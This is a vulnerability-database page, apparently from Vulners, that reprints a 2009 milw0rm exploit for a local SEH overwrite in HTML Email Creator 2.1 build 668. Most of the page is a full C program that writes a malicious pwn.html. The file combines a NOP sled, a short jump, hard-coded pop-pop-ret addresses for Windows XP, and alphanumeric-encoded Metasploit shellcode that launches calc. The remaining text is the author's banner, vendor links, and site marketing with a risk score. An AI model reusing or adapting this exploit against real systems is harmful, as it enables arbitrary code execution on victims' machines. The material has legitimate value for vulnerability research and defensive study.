Vulners
Lucene search
HTML Email Creator <= 2.1b668 (html) Local SEH Overwrite Exploit
/*
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered and Exploited by dun ]
[ HTML Email Creator <= 2.1 build 668 ] (html) Local SEH Overwrite Exploit
Vendor: http://www.html-email.net/
Download: http://www.html-email.net/download/html2emailcreator.exe
Vuln:
<img src="520 x A">
or
<script src="520 x A">
or
<link href="520 x A">
___________________________520_____________________________
| |
[ NOPs ][ jmp 11 ][ pop-pop-ret ][ NOPs ][ shellcode ][ NOPs ]
56 4 4 40 343 73
Greetz: suN8Hclf, str0ke
[ dun'at'strcpy.pl / 2009 ]
*/
#include <windows.h>
#include <stdio.h>
/*
Tested on:
WIN XP SP2 with installed "PC TOOLS Spyware Doctor" from google pack
/SafeSEH OFF 0x636e0000 0x63709000 6.1.0.2 C:\Program Files\Spyware Doctor\smum32.dll
#define RET 0x636E34BC // pop-pop-ret
WIN XP without any upgrades
kernel32.dll 0x77E9CB0E pop EAX - pop - ret
#define RET 0x77E9CB0E // pop-pop-ret
*/
#define RET 0x77E9CB0E // pop-pop-ret
#define JMP 0x909011EB // short jump (jmp 11)
#define LEN 520
#define NOP 0x90
// win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
char scode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x56\x43\x46\x42\x30\x5a";
int main() {
FILE *file;
int i=0;
char buf[LEN+1];
char *ptr=buf;
memset(buf,0x00,LEN+1);
memset(buf,NOP,LEN);
*(unsigned long *)&buf[56] = JMP;
*(unsigned long *)&buf[60] = RET;
ptr+=56+4+4+40;
memcpy(ptr, scode, strlen(scode));
file=fopen("pwn.html","w");
fprintf(file, "<HTML>\n<HEAD></HEAD>\n<BODY>\n<img src=\"");
fputs(buf,file);
fprintf(file, "\">\n</BODY>\n</HTML>\n");
fclose(file);
printf("File created..\n");
return 0;
}
// milw0rm.com [2009-04-13]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1